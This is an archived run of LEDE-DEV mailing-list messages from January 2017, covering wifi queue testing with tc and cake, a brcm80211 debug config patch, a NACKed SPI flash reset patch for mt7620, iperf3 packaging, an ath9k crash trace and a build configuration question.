Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <CAN-r--mX68xeFV9+GdwJ57CdOQ_1Qu+8OjvEMbJmEONE5Pybqg@mail.gmail.com>
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
 <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>
 <CAN-r--nrs9o2ZQeX6rxOcteoeRDcBZqJWCc94RxK1BoSjEB0gg@mail.gmail.com>
 <87efzm567k.fsf@toke.dk>
 <CAN-r--mX68xeFV9+GdwJ57CdOQ_1Qu+8OjvEMbJmEONE5Pybqg@mail.gmail.com>
Message-ID: <24d2297e-4cf7-b999-aa52-71be9f2dd238@taht.net>



On 1/29/17 7:36 AM, Jaap Buurman wrote:
> One more question if you don't mind :) With the "mac80211 debloated
> intermediate queues" do you also mean fq_codel (phase 2), or just
> phase 1?
> Also, has cake ever been tried instead of fq_codel to try and debloat wifi?

We used various simluations of wifi in cake, as one way to verify the
performance of the codel algorithm. Simple example would be, firing up a
test, and have a script...

sleep 10;
tc qdisc change dev whatever cake bandwidth 10mbit
sleep 1;
tc qdisc change dev whatever cake bandwidth 20mbit
sleep 1;
tc qdisc change dev whatever cake bandwidth 40mbit
sleep 1;
tc qdisc change dev whatever cake bandwidth 6mbit

I fear, after getting some major testing done in the past week now that
things are stabler, that this sort of emulation was insufficient to
emulate the real behaviors of wifi in a noisy environment. (yes, we did
do tons of live testing, too)

I am, admittedly, now testing with 51 APs within listening distance, at
the moment, which is far, far, far worse than the lab ever was. Some of
the things we deferred for further research were ratcheting down on
retries, and rate limiting multicast. It still seems, overall, better,
(I haven't had a single crash or error in the log in 3 days of testing a
build done friday on the archer)

It's my hope we can get more people pounding things with flent's
rtt_fair* tests to see how "right" the ATF is, and taking packet
captures (aircaps) so we can see what else can be improved. I'm about to
go try upping the multicast rate and/or re-enabling the igmp and
multicast-unicast code....




From zajec5 at gmail.com  Mon Jan 30 07:52:39 2017
From: zajec5 at gmail.com (=?UTF-8?q?Rafa=C5=82=20Mi=C5=82ecki?=)
Date: Mon, 30 Jan 2017 16:52:39 +0100
Subject: [LEDE-DEV] [PATCH] mac80211: enable brcm80211 debugging by default
 on bcm53xx
Message-ID: <20170130155239.26514-1-zajec5@gmail.com>

From: Rafa? Mi?ecki <rafal at milecki.pl>

This has increased rootfs size for Netgear R8000 (sample device using
brcmfmac) by 16124 B. Most of devices with brcmfmac supported chipsets
have quite big flash memories and debugging may be useful noting that
we got some stability problems and still report them.

Signed-off-by: Rafa? Mi?ecki <rafal at milecki.pl>
---
 package/kernel/mac80211/Makefile | 1 +
 1 file changed, 1 insertion(+)

diff --git a/package/kernel/mac80211/Makefile b/package/kernel/mac80211/Makefile
index a5e56d9858..0f68461f3d 100644
--- a/package/kernel/mac80211/Makefile
+++ b/package/kernel/mac80211/Makefile
@@ -630,6 +630,7 @@ define KernelPackage/brcmutil/config
 
 	config PACKAGE_BRCM80211_DEBUG
 		bool "Broadcom wireless driver debugging"
+		default y if TARGET_bcm53xx
 		help
 		  Say Y, if you want to debug brcmsmac and brcmfmac wireless driver.
 
-- 
2.11.0



From sven.schoenhoff at gmail.com  Mon Jan 30 08:18:38 2017
From: sven.schoenhoff at gmail.com (=?UTF-8?Q?Sven_Sch=C3=B6nhoff?=)
Date: Mon, 30 Jan 2017 17:18:38 +0100
Subject: [LEDE-DEV] mac80211 / wireless drivers update
Message-ID: <CAFSX-niRHV0nvO+YdmGEprtm0om_JpkVZ0GHesAo5wj=VrO+pQ@mail.gmail.com>

Hi Felix,

I've just tested a selfbuilt from your staging tree on a TL-WR1043ND
v1 and TL-WR1043ND v2 without any problems.


Best regards
Sven


From richb.hanover at gmail.com  Mon Jan 30 12:14:08 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Mon, 30 Jan 2017 15:14:08 -0500
Subject: [LEDE-DEV] Release Candidate Test Plan - first draft
Message-ID: <2FE80CDC-E04B-4C28-A92F-BF5CC0DF8B10@gmail.com>

Folks,

There have been a couple questions on the forum about what needs to be tested in the LEDE release candidate.

I put together a draft of a note that lists how to install, what to test, and how to report problems. It's at: https://lede-project.org/playground/releasecandidatetestplan

Comments, updates, etc. welcomed.

Rich

From chunkeey at googlemail.com  Mon Jan 30 13:09:39 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Mon, 30 Jan 2017 22:09:39 +0100
Subject: [PATCH] iperf3: update to version 3.1.5 and download via git
In-Reply-To: <c0f151e9701a60fd165471dca0e90e17@pyret.net>
References: <f5bc42b99a8617d0b3e0bfd24f0caa6f@pyret.net>
 <dce5654a4b94e99c645a52329e35c90c@pyret.net>
 <c0f151e9701a60fd165471dca0e90e17@pyret.net>
Message-ID: <4783587.A9rdu0uxOF@debian64>

Hello,

On Monday, January 30, 2017 12:43:40 PM CET Daniel Engberg wrote:
> On 2017-01-15 22:06, Daniel Engberg wrote:
> > On 2017-01-15 21:56, Christian Lamparter wrote:
> >> On Sunday, January 15, 2017 9:25:28 PM CET Daniel Engberg wrote:
> >>> Thanks for submitting a patch but can you please outline why we would
> >>> want to switch from a tarball release to a git repo pull for iperf3?
> >>> 
> >> 
> >> Actually, it's in the commit. It saves a couple of KiB since we can 
> >> switch to
> >> xz along the way too. As for iperf 3.1.5 this is:
> >> 
> >> 550862 Bytes for iperf-3.1.5.tar.gz
> >> 
> >> vs.
> >> 
> >> 400468 Bytes for 
> >> iperf-3.1.5-a46d5aec9726e196e86ab192c3f77dea6a3beb8e.tar.xz
> >> 
> >> That's around 27% savings of bandwidth. Because once it's uploaded
> >> onto the mirror
> >> the download methods will pick it from there - instead of the listed 
> >> address.
> >> 
> >> Anyway, if you have your own idea of how to do it: Then just make a
> >> patch as well.
> >> 
> >> Regards,
> >> Christian
> > 
> > I'm all for saving space and bandwidth but as far as I know the common
> > practice is to use tarballs where it makes sense (ie pretty much
> > everywhere) and upstream download mirrors/sites. Directing all users
> > to the LEDE "backup" mirror is not a desirable outcome as there's no
> > official xz package. That's just my point of view.
> > 
> > Regards,
> > Daniel Engberg
> I just wanted to information you (as asked by mkresin) that I've 
> submitted a pr on GitHub 
> (https://github.com/lede-project/source/pull/755) that uses the release 
> tarball which is considered to be the preferred way for this package.

Let's hope so :).

> Something completely different, great work on the ipq4xx stuff. Any 
> plans on upstreaming it?
Depends. Most of / all the platform code and the important drivers would
need to be upstream. As far as I can tell, there's little progress on the
ipq40xx. It's rotting since Matthew McClintock left QCA. Maybe it will
pick up a bit once the devices are getting more common... But people might
as well just skip it (for 2.5G/5G and VHT160).

The apm821xx was way easier to add. As it had full kernel support from
the get go and the big DMA and SATA patches were all backports.

Regards,
Christian


From chunkeey at googlemail.com  Mon Jan 30 13:42:19 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Mon, 30 Jan 2017 22:42:19 +0100
Subject: [LEDE-DEV] [PATCH] iperf3: update to version 3.1.5 and download
 via git
In-Reply-To: <9dbcb353-93e5-3abb-6d29-53cc67b01241@taht.net>
References: <f5bc42b99a8617d0b3e0bfd24f0caa6f@pyret.net>
 <c0f151e9701a60fd165471dca0e90e17@pyret.net>
 <9dbcb353-93e5-3abb-6d29-53cc67b01241@taht.net>
Message-ID: <1989790.7tv5AYFXQN@debian64>

On Monday, January 30, 2017 6:48:09 AM CET Dave T?ht wrote:
> Could you verify this version has a working -S Qos option? 
no, not as efficiently as you could. the commit log is c&p
from the release tag.

> It took it, but didn't actually set it in the packets, misleading
> a lot of people.
> 
> There's a pull request on github outstanding to improve, that adding a
> dscp option....
> 
> See also:
> 
> http://burntchrome.blogspot.com/2016/09/iperf3-and-microbursts.html
> 
> I think the patches for that were only partially taken up.
Well, since you are an expert on this, wouldn't you agree that you
could verify, make and post the patches for this feature quicker?

I'm mostly interested in iperf3 as an easy-to-install-and-run-anywhere
tool. It can make drivers crash and hardware misbehave and for this
purpose it works fine.

Regards,
Christian


From alex.g at adaptrum.com  Mon Jan 30 14:53:43 2017
From: alex.g at adaptrum.com (Alexandru Gagniuc)
Date: Mon, 30 Jan 2017 14:53:43 -0800
Subject: [LEDE-DEV] [PATCH] ramips: Add patch to reset SPI flash to 3-byte
 addressing
Message-ID: <20170130225344.3135-1-alex.g@adaptrum.com>

This patch is designed to workaround an issue where an mt7620 will
hang after a reboot. This happens because the bootrom gets confused
when the SPI flash is left in 4-byte addressing mode. This change
makes sure that we can reboot the system under normal circumstances,
but does not protect against system crashes.

Signed-off-by: Alexandru Gagniuc <alex.g at adaptrum.com>
---
 ...Reset-chip-to-3-byte-addressing-on-system.patch | 65 ++++++++++++++++++++++
 1 file changed, 65 insertions(+)
 create mode 100644 target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch

diff --git a/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch b/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
new file mode 100644
index 0000000..de4ee2c
--- /dev/null
+++ b/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
@@ -0,0 +1,65 @@
+From 0f7fcc3dfc27a91e7672e9e589f3f558e8c41737 Mon Sep 17 00:00:00 2001
+From: Alexandru Gagniuc <alex.g at adaptrum.com>
+Date: Mon, 30 Jan 2017 13:30:33 -0800
+Subject: [PATCH] mtd: m25p80: Reset chip to 3-byte addressing on system reboot
+
+Some SOCs can not handle 4-byte addressing in their mask ROM. On such
+devices if we leave the SPI flash in 4-byte mode, then reboot the
+system, the device will not boot.
+
+Some SoCs have a special output to reset all the on-board peripherals.
+This pin should be connected to the !RESET pin of the flash as well.
+Unfortunately, not all boards implement this. As a workaround for such
+hardware, reset the SPI flash to 3-byte addressing mode. This does not
+protect against system crashes, but it does allow the system to reboot
+in the case of a normal reboot.
+
+Cc: Paul Fertser <fercerpav at gmail.com>
+Signed-off-by: Alexandru Gagniuc <alex.g at adaptrum.com>
+---
+ drivers/mtd/devices/m25p80.c | 15 +++++++++++++++
+ 1 file changed, 15 insertions(+)
+
+diff --git a/drivers/mtd/devices/m25p80.c b/drivers/mtd/devices/m25p80.c
+index fe9ceb7..2151975 100644
+--- a/drivers/mtd/devices/m25p80.c
++++ b/drivers/mtd/devices/m25p80.c
+@@ -27,6 +27,9 @@
+ #include <linux/spi/flash.h>
+ #include <linux/mtd/spi-nor.h>
+ 
++#define OPCODE_RESET_ENABLE	0x66
++#define OPCODE_RESET		0x99
++
+ #define	MAX_CMD_SIZE		6
+ struct m25p {
+ 	struct spi_device	*spi;
+@@ -168,6 +171,17 @@ static int m25p80_erase(struct spi_nor *nor, loff_t offset)
+ 	return 0;
+ }
+ 
++void m25p80_reboot(struct mtd_info *mtd)
++{
++	struct spi_nor *nor = container_of(mtd, struct spi_nor, mtd);
++	struct m25p *flash = nor->priv;
++
++	flash->command[0] = OPCODE_RESET_ENABLE;
++	spi_write(flash->spi, flash->command, 1);
++	flash->command[0] = OPCODE_RESET;
++	spi_write(flash->spi, flash->command, 1);
++}
++
+ /*
+  * board specific setup should have ensured the SPI clock used here
+  * matches what the READ command supports, at least until this driver
+@@ -197,6 +211,7 @@ static int m25p_probe(struct spi_device *spi)
+ 	nor->erase = m25p80_erase;
+ 	nor->write_reg = m25p80_write_reg;
+ 	nor->read_reg = m25p80_read_reg;
++	nor->mtd._reboot = m25p80_reboot;
+ 
+ 	nor->dev = &spi->dev;
+ 	nor->flash_node = spi->dev.of_node;
+-- 
+2.9.3
+
-- 
2.9.3



From alex.g at adaptrum.com  Mon Jan 30 14:53:44 2017
From: alex.g at adaptrum.com (Alexandru Gagniuc)
Date: Mon, 30 Jan 2017 14:53:44 -0800
Subject: [LEDE-DEV] [PATCH] ramips: Add patch to reset SPI flash to 3-byte
 addressing
In-Reply-To: <20170130225344.3135-1-alex.g@adaptrum.com>
References: <20170130225344.3135-1-alex.g@adaptrum.com>
Message-ID: <20170130225344.3135-2-alex.g@adaptrum.com>

This patch is designed to workaround an issue where an mt7620 will
hang after a reboot. This happens because the bootrom gets confused
when the SPI flash is left in 4-byte addressing mode. This change
makes sure that we can reboot the system under normal circumstances,
but does not protect against system crashes.

Signed-off-by: Alexandru Gagniuc <alex.g at adaptrum.com>
---
 ...Reset-chip-to-3-byte-addressing-on-system.patch | 65 ++++++++++++++++++++++
 1 file changed, 65 insertions(+)
 create mode 100644 target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch

diff --git a/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch b/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
new file mode 100644
index 0000000..de4ee2c
--- /dev/null
+++ b/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
@@ -0,0 +1,65 @@
+From 0f7fcc3dfc27a91e7672e9e589f3f558e8c41737 Mon Sep 17 00:00:00 2001
+From: Alexandru Gagniuc <alex.g at adaptrum.com>
+Date: Mon, 30 Jan 2017 13:30:33 -0800
+Subject: [PATCH] mtd: m25p80: Reset chip to 3-byte addressing on system reboot
+
+Some SOCs can not handle 4-byte addressing in their mask ROM. On such
+devices if we leave the SPI flash in 4-byte mode, then reboot the
+system, the device will not boot.
+
+Some SoCs have a special output to reset all the on-board peripherals.
+This pin should be connected to the !RESET pin of the flash as well.
+Unfortunately, not all boards implement this. As a workaround for such
+hardware, reset the SPI flash to 3-byte addressing mode. This does not
+protect against system crashes, but it does allow the system to reboot
+in the case of a normal reboot.
+
+Cc: Paul Fertser <fercerpav at gmail.com>
+Signed-off-by: Alexandru Gagniuc <alex.g at adaptrum.com>
+---
+ drivers/mtd/devices/m25p80.c | 15 +++++++++++++++
+ 1 file changed, 15 insertions(+)
+
+diff --git a/drivers/mtd/devices/m25p80.c b/drivers/mtd/devices/m25p80.c
+index fe9ceb7..2151975 100644
+--- a/drivers/mtd/devices/m25p80.c
++++ b/drivers/mtd/devices/m25p80.c
+@@ -27,6 +27,9 @@
+ #include <linux/spi/flash.h>
+ #include <linux/mtd/spi-nor.h>
+ 
++#define OPCODE_RESET_ENABLE	0x66
++#define OPCODE_RESET		0x99
++
+ #define	MAX_CMD_SIZE		6
+ struct m25p {
+ 	struct spi_device	*spi;
+@@ -168,6 +171,17 @@ static int m25p80_erase(struct spi_nor *nor, loff_t offset)
+ 	return 0;
+ }
+ 
++void m25p80_reboot(struct mtd_info *mtd)
++{
++	struct spi_nor *nor = container_of(mtd, struct spi_nor, mtd);
++	struct m25p *flash = nor->priv;
++
++	flash->command[0] = OPCODE_RESET_ENABLE;
++	spi_write(flash->spi, flash->command, 1);
++	flash->command[0] = OPCODE_RESET;
++	spi_write(flash->spi, flash->command, 1);
++}
++
+ /*
+  * board specific setup should have ensured the SPI clock used here
+  * matches what the READ command supports, at least until this driver
+@@ -197,6 +211,7 @@ static int m25p_probe(struct spi_device *spi)
+ 	nor->erase = m25p80_erase;
+ 	nor->write_reg = m25p80_write_reg;
+ 	nor->read_reg = m25p80_read_reg;
++	nor->mtd._reboot = m25p80_reboot;
+ 
+ 	nor->dev = &spi->dev;
+ 	nor->flash_node = spi->dev.of_node;
+-- 
+2.9.3
+
-- 
2.9.3



From daniel at makrotopia.org  Mon Jan 30 16:44:07 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Tue, 31 Jan 2017 01:44:07 +0100
Subject: [LEDE-DEV] [PATCH] ramips: Add patch to reset SPI flash to
 3-byte addressing
In-Reply-To: <20170130225344.3135-1-alex.g@adaptrum.com>
References: <20170130225344.3135-1-alex.g@adaptrum.com>
Message-ID: <20170131004406.GB1801@makrotopia.org>

Hi Alexandru,

On Mon, Jan 30, 2017 at 02:53:43PM -0800, Alexandru Gagniuc wrote:
> This patch is designed to workaround an issue where an mt7620 will
> hang after a reboot. This happens because the bootrom gets confused
> when the SPI flash is left in 4-byte addressing mode. This change
> makes sure that we can reboot the system under normal circumstances,
> but does not protect against system crashes.

NACK. This should not be needed and also doesn't provide a reliable
method to avoid the problem you describe, please rather try
https://git.kernel.org/cgit/linux/kernel/git/next/linux-next.git/commit/?id=3274ba26f27becfc4193ec6e229288140651f240

In case you are aware of boards which neither implement a proper
reset of the flash chip nor use a flash chip which supports dedicated
4-byte opcodes, please let us know, in that case the fix might still
be needed and at least provide a best-effort solution (which may still
result in stuck under certain circumstances such as CPU resets
triggered by watchdogs or in any way out of the kernel's control)

Cheers


Daniel

> 
> Signed-off-by: Alexandru Gagniuc <alex.g at adaptrum.com>
> ---
>  ...Reset-chip-to-3-byte-addressing-on-system.patch | 65 ++++++++++++++++++++++
>  1 file changed, 65 insertions(+)
>  create mode 100644 target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
> 
> diff --git a/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch b/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
> new file mode 100644
> index 0000000..de4ee2c
> --- /dev/null
> +++ b/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
> @@ -0,0 +1,65 @@
> +From 0f7fcc3dfc27a91e7672e9e589f3f558e8c41737 Mon Sep 17 00:00:00 2001
> +From: Alexandru Gagniuc <alex.g at adaptrum.com>
> +Date: Mon, 30 Jan 2017 13:30:33 -0800
> +Subject: [PATCH] mtd: m25p80: Reset chip to 3-byte addressing on system reboot
> +
> +Some SOCs can not handle 4-byte addressing in their mask ROM. On such
> +devices if we leave the SPI flash in 4-byte mode, then reboot the
> +system, the device will not boot.
> +
> +Some SoCs have a special output to reset all the on-board peripherals.
> +This pin should be connected to the !RESET pin of the flash as well.
> +Unfortunately, not all boards implement this. As a workaround for such
> +hardware, reset the SPI flash to 3-byte addressing mode. This does not
> +protect against system crashes, but it does allow the system to reboot
> +in the case of a normal reboot.
> +
> +Cc: Paul Fertser <fercerpav at gmail.com>
> +Signed-off-by: Alexandru Gagniuc <alex.g at adaptrum.com>
> +---
> + drivers/mtd/devices/m25p80.c | 15 +++++++++++++++
> + 1 file changed, 15 insertions(+)
> +
> +diff --git a/drivers/mtd/devices/m25p80.c b/drivers/mtd/devices/m25p80.c
> +index fe9ceb7..2151975 100644
> +--- a/drivers/mtd/devices/m25p80.c
> ++++ b/drivers/mtd/devices/m25p80.c
> +@@ -27,6 +27,9 @@
> + #include <linux/spi/flash.h>
> + #include <linux/mtd/spi-nor.h>
> + 
> ++#define OPCODE_RESET_ENABLE	0x66
> ++#define OPCODE_RESET		0x99
> ++
> + #define	MAX_CMD_SIZE		6
> + struct m25p {
> + 	struct spi_device	*spi;
> +@@ -168,6 +171,17 @@ static int m25p80_erase(struct spi_nor *nor, loff_t offset)
> + 	return 0;
> + }
> + 
> ++void m25p80_reboot(struct mtd_info *mtd)
> ++{
> ++	struct spi_nor *nor = container_of(mtd, struct spi_nor, mtd);
> ++	struct m25p *flash = nor->priv;
> ++
> ++	flash->command[0] = OPCODE_RESET_ENABLE;
> ++	spi_write(flash->spi, flash->command, 1);
> ++	flash->command[0] = OPCODE_RESET;
> ++	spi_write(flash->spi, flash->command, 1);
> ++}
> ++
> + /*
> +  * board specific setup should have ensured the SPI clock used here
> +  * matches what the READ command supports, at least until this driver
> +@@ -197,6 +211,7 @@ static int m25p_probe(struct spi_device *spi)
> + 	nor->erase = m25p80_erase;
> + 	nor->write_reg = m25p80_write_reg;
> + 	nor->read_reg = m25p80_read_reg;
> ++	nor->mtd._reboot = m25p80_reboot;
> + 
> + 	nor->dev = &spi->dev;
> + 	nor->flash_node = spi->dev.of_node;
> +-- 
> +2.9.3
> +
> -- 
> 2.9.3
> 
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From alex.g at adaptrum.com  Mon Jan 30 17:54:30 2017
From: alex.g at adaptrum.com (Alex G.)
Date: Mon, 30 Jan 2017 17:54:30 -0800
Subject: [LEDE-DEV] [PATCH] ramips: Add patch to reset SPI flash to
 3-byte addressing
In-Reply-To: <20170131004406.GB1801@makrotopia.org>
References: <20170130225344.3135-1-alex.g@adaptrum.com>
 <20170131004406.GB1801@makrotopia.org>
Message-ID: <7a6a0d4c-d4a3-684d-4bfb-82b8f35bda82@adaptrum.com>

On 01/30/2017 04:44 PM, Daniel Golle wrote:
> Hi Alexandru,
>
Hi Daniel,

> On Mon, Jan 30, 2017 at 02:53:43PM -0800, Alexandru Gagniuc wrote:
>> This patch is designed to workaround an issue where an mt7620 will
>> hang after a reboot. This happens because the bootrom gets confused
>> when the SPI flash is left in 4-byte addressing mode. This change
>> makes sure that we can reboot the system under normal circumstances,
>> but does not protect against system crashes.
>
> NACK. This should not be needed and also doesn't provide a reliable
> method to avoid the problem you describe, please rather try
> https://git.kernel.org/cgit/linux/kernel/git/next/linux-next.git/commit/?id=3274ba26f27becfc4193ec6e229288140651f240

I tried to backport this patch to 4.4, for a board with a w25q256 FLASH 
chip. I am getting a ton of:

jffs2: Newly-erased block contained word 0x20031985 at offset ...

over the serial console.

> In case you are aware of boards which neither implement a proper
> reset of the flash chip nor use a flash chip which supports dedicated
> 4-byte opcodes, please let us know, in that case the fix might still
> be needed and at least provide a best-effort solution (which may still
> result in stuck under certain circumstances such as CPU resets
> triggered by watchdogs or in any way out of the kernel's control)
>

So, how do we solve this situation for lede with linux-4.4 ?

Alex

>
>
> Daniel
>
>>
>> Signed-off-by: Alexandru Gagniuc <alex.g at adaptrum.com>
>> ---
>>  ...Reset-chip-to-3-byte-addressing-on-system.patch | 65 ++++++++++++++++++++++
>>  1 file changed, 65 insertions(+)
>>  create mode 100644 target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
>>
>> diff --git a/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch b/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
>> new file mode 100644
>> index 0000000..de4ee2c
>> --- /dev/null
>> +++ b/target/linux/ramips/patches-4.4/0800-mtd-m25p80-Reset-chip-to-3-byte-addressing-on-system.patch
>> @@ -0,0 +1,65 @@
>> +From 0f7fcc3dfc27a91e7672e9e589f3f558e8c41737 Mon Sep 17 00:00:00 2001
>> +From: Alexandru Gagniuc <alex.g at adaptrum.com>
>> +Date: Mon, 30 Jan 2017 13:30:33 -0800
>> +Subject: [PATCH] mtd: m25p80: Reset chip to 3-byte addressing on system reboot
>> +
>> +Some SOCs can not handle 4-byte addressing in their mask ROM. On such
>> +devices if we leave the SPI flash in 4-byte mode, then reboot the
>> +system, the device will not boot.
>> +
>> +Some SoCs have a special output to reset all the on-board peripherals.
>> +This pin should be connected to the !RESET pin of the flash as well.
>> +Unfortunately, not all boards implement this. As a workaround for such
>> +hardware, reset the SPI flash to 3-byte addressing mode. This does not
>> +protect against system crashes, but it does allow the system to reboot
>> +in the case of a normal reboot.
>> +
>> +Cc: Paul Fertser <fercerpav at gmail.com>
>> +Signed-off-by: Alexandru Gagniuc <alex.g at adaptrum.com>
>> +---
>> + drivers/mtd/devices/m25p80.c | 15 +++++++++++++++
>> + 1 file changed, 15 insertions(+)
>> +
>> +diff --git a/drivers/mtd/devices/m25p80.c b/drivers/mtd/devices/m25p80.c
>> +index fe9ceb7..2151975 100644
>> +--- a/drivers/mtd/devices/m25p80.c
>> ++++ b/drivers/mtd/devices/m25p80.c
>> +@@ -27,6 +27,9 @@
>> + #include <linux/spi/flash.h>
>> + #include <linux/mtd/spi-nor.h>
>> +
>> ++#define OPCODE_RESET_ENABLE	0x66
>> ++#define OPCODE_RESET		0x99
>> ++
>> + #define	MAX_CMD_SIZE		6
>> + struct m25p {
>> + 	struct spi_device	*spi;
>> +@@ -168,6 +171,17 @@ static int m25p80_erase(struct spi_nor *nor, loff_t offset)
>> + 	return 0;
>> + }
>> +
>> ++void m25p80_reboot(struct mtd_info *mtd)
>> ++{
>> ++	struct spi_nor *nor = container_of(mtd, struct spi_nor, mtd);
>> ++	struct m25p *flash = nor->priv;
>> ++
>> ++	flash->command[0] = OPCODE_RESET_ENABLE;
>> ++	spi_write(flash->spi, flash->command, 1);
>> ++	flash->command[0] = OPCODE_RESET;
>> ++	spi_write(flash->spi, flash->command, 1);
>> ++}
>> ++
>> + /*
>> +  * board specific setup should have ensured the SPI clock used here
>> +  * matches what the READ command supports, at least until this driver
>> +@@ -197,6 +211,7 @@ static int m25p_probe(struct spi_device *spi)
>> + 	nor->erase = m25p80_erase;
>> + 	nor->write_reg = m25p80_write_reg;
>> + 	nor->read_reg = m25p80_read_reg;
>> ++	nor->mtd._reboot = m25p80_reboot;
>> +
>> + 	nor->dev = &spi->dev;
>> + 	nor->flash_node = spi->dev.of_node;
>> +--
>> +2.9.3
>> +
>> --
>> 2.9.3
>>
>>
>> _______________________________________________
>> Lede-dev mailing list
>> Lede-dev at lists.infradead.org
>> http://lists.infradead.org/mailman/listinfo/lede-dev


From nbd at nbd.name  Mon Jan 30 23:27:39 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 31 Jan 2017 08:27:39 +0100
Subject: [LEDE-DEV] ath9k crashes
In-Reply-To: <d0976e53-54f4-60ab-97e3-dbb57f5aaf4f@ncentric.com>
References: <d0976e53-54f4-60ab-97e3-dbb57f5aaf4f@ncentric.com>
Message-ID: <d8ec79b4-3517-8f17-3661-599ad32bfdb4@nbd.name>

On 2017-01-30 14:50, Koen Vandeputte wrote:
> Hi Felix,
> 
> Since the latest ath9k fixes you've submitted I've seen a few NULL 
> derefs on my cns3xxx boards the past few days.
> 
> I'm not sure if these are really the cause but .. any idea?
> 
> [   42.570000] [<c0013528>] (_raw_spin_unlock_irqrestore) from [<bf4748b8>] (ath9k_iowrite32+0x5c/0x7c [ath9k])
> [   42.570000] [<bf47485c>] (ath9k_iowrite32 [ath9k]) from [<bf41757c>] (ath9k_hw_kill_interrupts+0x1a8/0x218 [ath9k_hw])
> [   42.570000]  r9:00000000 r8:00000000 r7:bf47485c r6:00000002 r5:00023f60 r4:ce878010
> [   42.570000] [<bf4174a0>] (ath9k_hw_kill_interrupts [ath9k_hw]) from [<bf417fdc>] (ath9k_hw_resume_interrupts+0x84/0x88 [ath9k_hw])
> [   42.570000]  r7:00000001 r6:00000001 r5:ce878010 r4:ce895540
> [   42.570000] [<bf417f90>] (ath9k_hw_resume_interrupts [ath9k_hw]) from [<bf418000>] (ath9k_hw_enable_interrupts+0x20/0x24 [ath9k_hw])
> [   42.570000] [<bf417fe0>] (ath9k_hw_enable_interrupts [ath9k_hw]) from [<bf477b04>] (ath9k_calculate_summary_state+0x3e8/0x5dc [ath9k])
> [   42.570000] [<bf4779d4>] (ath9k_calculate_summary_state [ath9k]) from [<bf477c90>] (ath9k_calculate_summary_state+0x574/0x5dc [ath9k])
> [   42.570000]  r7:ce895ef0 r6:ce895edc r5:ce895ee8 r4:ce895540
> [   42.570000] [<bf477b14>] (ath9k_calculate_summary_state [ath9k]) from [<bf477d74>] (ath_reset_work+0x28/0x34 [ath9k])
> 
> 
> Full log:
> 
> http://pastebin.com/raw/7s5tqy88
This does not look like a bug in ath9k to me. Seems that the cns3xxx
GPIO IRQ handler/setup code might be broken.

- Felix



From dennisschneck at web.de  Tue Jan 31 01:10:13 2017
From: dennisschneck at web.de (Dennis Schneck)
Date: Tue, 31 Jan 2017 10:10:13 +0100
Subject: [LEDE-DEV] Build error Arcadyan VGV7510KW22(NOR) / o2 6431 -
 asterisk13
Message-ID: <trinity-36b5442e-7a9d-4f18-b8c0-e6cabd184111-1485853813542@3capp-webde-bs43>

Hello,
i downloaded the source with: git clone https://github.com/lede-project/source

Select for VGV7510KW22 ( see attach please!  .config as _config )

Target System (Lantiq)
Subtarget (XRX200)
Target Profile (o2 Box 6431 / Arcadyan VGV7510KW22 (NOR)


Base system -> block-mount
Base system -> sqm-scripts

Kernel modules -> Filesystems -> kmod-fs-ext4
Kernel modules -> USB Support -> kmod-usb-storage

LuCI -> Collections -> luci
LuCI -> Applications -> luci-app-sqm

Firmware -> dsl-vrx200-firmware-xdsl-b

Network -> Telephony -> asterisk13
Network -> Telephony -> asterisk13 ->asterisk13-app-directed_pickup
Network -> Telephony -> asterisk13 ->asterisk13-app-read
Network -> Telephony -> asterisk13 ->asterisk13-app-stack
Network -> Telephony -> asterisk13 ->asterisk13-app-system
Network -> Telephony -> asterisk13 ->asterisk13-cdr
Network -> Telephony -> asterisk13 ->asterisk13-cdr-csv
Network -> Telephony -> asterisk13 ->asterisk13-chan-sip
Network -> Telephony -> asterisk13 ->asterisk13-codec-a-mu
Network -> Telephony -> asterisk13 ->asterisk13-codec-alaw
Network -> Telephony -> asterisk13 ->asterisk13-codec-g722
Network -> Telephony -> asterisk13 ->asterisk13-codec-g726
Network -> Telephony -> asterisk13 ->asterisk13-codec-gsm
Network -> Telephony -> asterisk13 ->asterisk13-codec-ilbc
Network -> Telephony -> asterisk13 ->asterisk13-codec-resample
Network -> Telephony -> asterisk13 ->asterisk13-codec-ulaw
Network -> Telephony -> asterisk13 ->asterisk13-format-gsm
Network -> Telephony -> asterisk13 ->asterisk13-format-sln
Network -> Telephony -> asterisk13 ->asterisk13-func-blacklist
